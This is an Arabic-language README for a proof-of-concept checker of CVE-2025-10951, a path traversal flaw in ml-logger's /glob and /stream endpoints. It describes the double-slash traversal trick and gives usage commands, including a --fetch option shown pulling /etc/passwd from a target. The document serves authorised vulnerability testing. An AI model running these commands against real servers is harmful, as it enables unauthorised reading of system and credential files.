
مدقق إثبات المفهوم لـ CVE-2025-10951، وهو اجتياز مسار غير مصادق عليه في ml-logger، يتحقق من قراءة الملفات العشوائية عبر نقطتي النهاية /glob و /stream.
أداة للتحقق من إثبات الوجود لثغرة CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — وهي
اجتياز مسار غير مُصادَق عليه في geyang/ml-logger
(≤ 0.10.36)، وتؤثر على الدالتين log_handler / stream_handler في
ml_logger/server.py.
للاستخدام فقط مع الأنظمة التي لديك إذن باختبارها.
| نقطة النهاية | الطريقة | الغرض |
|---|---|---|
/glob | POST | يؤكد أن الخادم يسرد مسارات نظام الملفات خارج النطاق المقصود للتطبيق |
/stream | GET | يؤكد قراءة ملفات عشوائية عبر خدعة اجتياز بشرطة مائلة مزدوجة في البداية (//path/to/file) |
افتراضيًا، تقرأ خطوة الإثبات فقط /etc/hostname — سطرًا واحدًا غير ضار،
موجودًا على كل مضيف Linux تقريبًا، ولا يعد بيانات حساسة أبدًا.
pip install requests
فحص أساسي:
python3 check_mllogger_traversal.py http://TARGET:PORT
كتابة النتائج إلى JSON (لتوثيق الاختبار / الأدلة):
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
جلب ملف محدد تختاره (يعمل فقط إذا تم تأكيد الثغرة):
python3 check_mllogger_traversal.py http://TARGET:PORT \
--fetch /etc/passwd --output passwd.txt
كلها معًا:
python3 check_mllogger_traversal.py http://TARGET:PORT \
--json results.json --fetch /etc/passwd --output passwd.txt
0 — تم تأكيد الثغرة (كليًا أو محتمل)1 — لم يتم تأكيد الثغرة / الهدف غير قابل للوصول{
"target": "http://192.xxx.xxx.xxx:8081",
"timestamp": "2026-00-12T10:15:32.123456+00:00",
"cve": "CVE-2025-10951",
"glob_endpoint_confirmed": true,
"stream_endpoint_confirmed": true,
"vulnerable": true,
"likely_vulnerable": true,
"fetch": {
"remote_path": "/etc/passwd",
"local_path": "passwd.txt",
"success": true
}
}
--fetch فقط بعد نجاح فحص الثغرة — ولن
يحاول جلب أي شيء من هدف غير مؤكد.| الخيار | الوصف |
|---|
target | عنوان URL الأساسي، مثل http://192.xxx.x.xx:8081 |
--timeout | مهلة الطلب بالثواني (الافتراضي: 8.0) |
--json FILE | كتابة النتائج المنظمة إلى ملف JSON |
--fetch REMOTE_PATH | جلب ملف بعيد محدد تحدده |
--output LOCAL_PATH | اسم الملف المحلي لمخرجات --fetch (الافتراضي: الاسم الأساسي للمسار البعيد) |